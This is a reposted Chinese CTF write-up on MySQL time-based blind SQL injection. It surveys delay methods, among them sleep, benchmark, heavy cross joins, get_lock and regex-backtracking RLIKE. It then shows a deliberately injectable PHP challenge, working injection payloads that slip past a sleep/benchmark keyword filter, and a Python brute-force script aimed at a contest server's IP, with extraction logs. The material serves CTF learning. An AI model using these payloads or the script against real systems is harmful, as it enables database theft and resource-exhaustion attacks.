MySQL時間盲注五種延時方法 (PWNHUB 非預期解)


轉自cdxy師傅:https://www.cdxy.me/?p=789

 

PWNHUB 一道盲注題過濾了常規的sleep和benchmark函數,引發對時間盲注中延時方法的思考。

延時函數

  • SLEEP
mysql> select sleep(5);
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+
1 row in set (5.00 sec)
  • BENCHMARK
mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (2.79 sec)
mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (2.79 sec)

 

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+------------+
| count(*)   |
+------------+
| 2651020120 |
+------------+
1 row in set (1 min 51.05 sec)

延時精確可控,利用環境有限,需要開兩個session測試。

SESSION A

mysql> select get_lock('test',1);
+--------------------+
| get_lock('test',1) |
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.00 sec)
SESSION B

mysql> select get_lock('test',5);
+--------------------+
| get_lock('test',5) |
+--------------------+
|                  0 |
+--------------------+
1 row in set (5.00 sec)
  • RLIKE

通過rpadrepeat構造長字符串,加以計算量大的pattern,通過repeat的參數可以控制延時長短。

mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
|                                                           0 |
+-------------------------------------------------------------+
1 row in set (5.27 sec)

 

PWNHUB-全宇宙最簡單的PHP-Writeup

<?php
require 'conn.php';
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
    die("you bad bad!");
}
$sql = "select * from article where id='".intval($id)."'";
$res = mysql_query($sql);
if(!$res){
    die("404 not found!");
}
$row = mysql_fetch_array($res, MYSQL_ASSOC);
mysql_query("update view set view_times=view_times+1 where id = '".$id." '");
?>

上面代碼明顯可從id參數注入代碼到MySQL UPDATE語句。

從時間盲注的角度解,題中除過濾掉sleepbenchmark兩個延時函數之外,並無其他限制。

思路:尋找新的延時函數

想到日常數據開發中自己的SQL中多次因正則消耗計算資源,又想到某次白帽大會上關於正則Dos的議題,然后開始朝RLIKE嘗試。

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

以上代碼等同於 sleep(5)

本地測試

mysql> update view1 set cnt=cnt+1 where id='1' and IF(SUBSTR((select 5 from dual),1,1)='5',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Query OK, 0 rows affected (5.08 sec)
Rows matched: 0  Changed: 0  Warnings: 0

mysql> update view1 set cnt=cnt+1 where id='1' and IF(SUBSTR((select 5),1,1)='1',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0

 

Docker起了個PHP 5.6+MySQL,代碼copy過去,構建相同環境測試腳本,爆破到正確字符時,測試機會延時10s左右;遇到錯誤字符會在0.1s以內返回,可以明顯區分。

本地測試執行version()的結果:

N  -  0.0232281684875
O  -  0.0197539329529
P  -  0.028028011322
Q  -  0.0212018489838
R  -  0.0244557857513
S  -  0.0253188610077
T  -  0.0281682014465
U  -  0.0236928462982
V  -  0.0221898555756
W  -  0.0275118350983
X  -  0.0206508636475
Y  -  0.0258479118347
Z  -  0.0194098949432
@  -  0.0250370502472
{  -  0.0211541652679
}  -  0.0245869159698
-  -  0.0192731937281
_  -  0.0247149467468
.  -  0.0188128948212
Error or Finished.
Current Result: 5.5.59-0ubuntu0.14.04.1[NULL][NULL]

 

線上測試

線上就很蛋疼了。首先環境是每5min重啟一次,每次只能在重啟的瞬間(0.5s)打上10條請求,然后服務器就被用笛卡爾積的同學打掛了。

二分法懶得搞了,在腳本里加了一些糾錯機制,線上環境正誤嘗試的時間差降為0.2s左右,但仍可以區分。

# !/usr/bin/env python
#  -*- coding: utf-8 -*-
import requests
from requests.exceptions import ReadTimeout, ConnectionError
from urllib import quote
import time
import re

payloads = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@{}-_.'

url = 'http://52.80.179.198:8080/article.php?id='
# url = 'http://localhost:8090/article.php?id='


# 替代sleep()
# 14s
# sleep_func = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"

# 5s
sleep_func = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"

# 本地測試代碼
def run_local(query):
    def brute_single_char(target_index):
        for c in payloads:
            payload = "1' and IF(SUBSTR({},{},1)='{}',{},0) and '1'='1".format(query, target_index, c, sleep_func)
            confirm_cnt = 0
            # print payload
            for i in range(10000):  # 為了宕機重試
                if confirm_cnt > 3:  # 連續四次正確嘗試,保存結果
                    print 'FOUND!!! ' + c
                    return c

                time_start = time.time()
                try:
                    req = requests.get(url + quote(payload), timeout=20)
                    if 'Warning' in req.content:
                        print req.content
                    if 'helloworld' not in req.content:
                        print c, 'MySQL Down, retry...'
                        # print req.content
                        continue
                except ReadTimeout:  # 時間長:正確嘗試
                    print c, ' - timeout, retry...'
                    # confirm_cnt += 1
                    continue
                except ConnectionError:
                    print c, 'Web Server Down, retry...'
                    continue

                # print ans.content
                time_end = time.time()
                print c, ' - ', time_end - time_start
                if time_end - time_start < 5:  # 時間短:錯誤嘗試
                    # print 'false:' + c
                    break
                confirm_cnt += 1
        return '[NULL]'  # 全部字母未命中

    result = ''
    try:
        for index in range(1, 100):
            if len(re.findall(r'\[NULL\]', result)) > 2:
                print 'Error or Finished. \nCurrent Result: ' + result
                return
            result += brute_single_char(index)
    except KeyboardInterrupt:
        print result



# 線上測試代碼
def run_sort(query):
    def brute_single_char(target_index):
        timelist = {}
        for c in payloads:
            payload = "1' and IF(SUBSTR({},{},1)='{}',{},0) and '1'='1".format(query, target_index, c, sleep_func)
            for i in range(10000):  # 為了宕機重試
                time_start = time.time()
                try:
                    req = requests.get(url + quote(payload), timeout=2)
                    if 'helloworld' not in req.content:
                        continue
                except ReadTimeout: 
                    print c, ' - timeout, retry...'
                    continue
                except ConnectionError:
                    continue

                time_end = time.time()
                print c, ' - ', time_end - time_start
                timelist[c] = time_end - time_start
                break
        if not len(timelist):
            return '[NULL]'  # 全部字母未命中
        rec = sorted(timelist.items(), key=lambda item: item[1])
        print rec
        return rec[-1]

    result = []
    try:
        for index in range(7, 100):
            print '________INDEX {}_______'.format(index)
            result.append(brute_single_char(index))
            if result[-1] is '[NULL]':
                print 'Error or Finished. \nCurrent Result: '
                print result
                return
    except KeyboardInterrupt:
        print result

if __name__ == '__main__':
    run_sort('(select * from flags)')

以下爆破結果中,3為正確結果,其余為錯誤結果。

1  -  0.0639481544495
2  -  0.0795040130615
3  -  0.3621571064
4  -  0.0846300125122
5  -  0.0894010066986
6  -  0.0945949554443
7  -  0.0842099189758
8  -  0.0861508846283
9  -  0.0922508239746

之后依次執行以下代碼get flag(跑了多少個小時我也不知道。。。)

select count(*) from article -> 3

database() -> post

select count(table_name) from information_schema.tables where table_schema='post' -> 3

select length(table_name) from information_schema.tables where table_schema=\'post\' and table_name<>\'article\' and table_name<>\'view\' —> 5

select table_name from information_schema.tables where table_schema=\'post\' and table_name<>\'article\' and table_name<>\'view\' -> flags

select count(*) from flags -> 1

select * from flag

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM